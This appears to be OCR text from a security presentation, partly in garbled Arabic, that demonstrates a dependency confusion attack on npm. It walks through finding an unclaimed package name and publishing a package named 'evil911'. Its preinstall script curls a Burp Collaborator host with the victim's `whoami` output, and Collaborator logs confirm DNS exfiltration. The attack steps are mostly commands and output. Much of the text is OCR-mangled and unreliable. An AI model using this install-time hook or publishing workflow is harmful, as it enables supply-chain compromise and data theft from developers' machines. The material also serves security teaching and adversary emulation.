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What are Dependencies?

=>bow M Specific Packages JI o degaze @] Jgis Huds Hlaisb
NodeJs based JI' 3 Jtwll Jurw Ao .ogllaall Sl Jiiin Olie Gudasd!
<l (Sgu Pacjage.json caley 3990 CSaugl (§ Badxie 0955 ( aAppPS

gyl o) ae Packages Il slewd

What are Package Managers?

Wty sluely Codxdy Juess (1o Packages I 8)15Y @oly (2, 0wl (0

giliel o al ope
Python: pip e
Nodels: npm e




Public Registries:
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Dependency Confusion Attacks:
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Dependency Confusion Adversary Emulation.
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JSONM Raw Data Headers

Save Copy Collapseall Expandall| 57
name : root
version: 1.8.@
description:
main: index.js"

w sCripts:

start: node index.js"

test: echo \"Error: no test specified\”™ && exit 1"
author: Mesh31l_911
license: IsC"

w dependencies:
evil9ll: ~1.8.1"

EXpPIEess : h 18.2
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Packages Version Ranges (Package.json):
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not found

package 'evil911' not found

404
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~/Conf
npm i evil9iil

npm E404

npm Not Found - GET https://registry.npmjs.org/evil91l - Not found
npm

npm 'evil9llg*’ is not in this registry.

npm

npm Note that you can also install from a
npm tarball, folder, http url, or git url.
npm A complete log of this run can be found in:
npm /root/.npm/_logs/2023-02-17T12_25_37_508Z-debug-0.log
~/Conf
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mkdir evil911;cd evil911;npm init

mkdir evil911;cd evil9il;npm init
This utility will walk you through creating a package.json file.
It only covers the most common items, and tries to guess sensible defaults.

See “npm help init® for definitive documentation on these fields
and exactly what they do.

Use “npm install <pkg>" afterwards to install a package and
save it as a dependency in the package.json file.

Press “C at any time to quit.
package name: (evil9il)
version: (1.0.0)

description:

entry point: (index.js)

test command:

git repository

keywords:

author: Mesh3l_911

license: (ISC)

About to write to /root/evil9ll/package.json:

{
"name": "evil91l",
"version”: "1.0.0",
"description”: "",
"main": "index.js",
"scripts”: {
"test": "echo \"Error: no test specified\" &5 exit 1"

'
"author”: "Mesh31_911",
"license": "ISC"

Is this oK? (yes)

~/evil9ll
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DNS Exfiltration:
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 +1 root@Mesh3L:
root@Mesh3l: ~/evil911

~/evilo1l
cat package.json

"name": "evil911",

"version": "1.0.1",

"description™: "",

"main”: "index.js",

"scripts": {

"preinstall”:"curl “whoami .iug2101@f1 h7pvfa4laryg.burpcollaborator.net”,
"test": "echo \"Error: no test specified\" && exit 1"

b

"author”: "Mesh31_911",

"license": "ISC”

~/evil911
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npm adduser

npm publish

i+
root@Mesh3l: ~/evil911
~fevilgll
npm publish
npm notice
npm notice ® evil911gl.e.1
npm notice
npm notice 297B package.json
npm notice
npm notice name: eviloll
npm notice version: 1.0.1
npm notice filename: evilgll-1.0.1.tgz

npm notice package size: 303 B
npm notice unpacked size: 297 B

npm notice shasum: 9ba9bb20bcab85ac86b60f6315685d2558207603
npm notice integrity: sha512-LgSz+GOsKRxbj[ . . . INIzgRNKmDvobA==
npm notice total files: 1

npm notice

npm notice Publishing to https://registry.npmjs.org/ with tag latest and default access
+ evilg11gl.e.1
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1.8.1 « Public + Published 2 minutes ago
@ readme [ code @sen & 0Dep i & 0Dep @ 1versions £ settings
ackage does not have a README. Add 2 README to your package so that users know how to get started. el
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npm 1 evilgll
Keywords
Version License
1.0.1 IsC
Unpacked Size Total Files
297B 1
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RCE POC:
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Burp Collaborator client

~/Conf

npm i @ Click "Copy to clipboard” to generate Burp Collaborator payloads that you can use in your own testing. Any interactions that rest
below.

added 58 packages, and audited 59 packages in 4s

7 packages are looking for funding Generate Collaborator payloads

run ‘npm fund® for details Number to generate: | 1 Copy to clipboard # Include Collaborator server location

found @ vulnerab:

Poll Collaborator interactions

Poll every | 60 seconds | Poll now
~/Conf
0 #A Time Type Payload Comment
1 2023-Feb-171318:14 UTC DNS iug21010 h7pvfadiaryg
2 2023-Feb-171319:14 UTC DNS iug21010 h7pvfadiaryg

Description  DNS query

The Collaborator server received a DNS lookup of type AAAA for the domain nameifaotiug210 h7pvfadtaryg.t

The lookup was received from IP address 172.253.218.195 at 2023-Feb-1713:19:14 UTC
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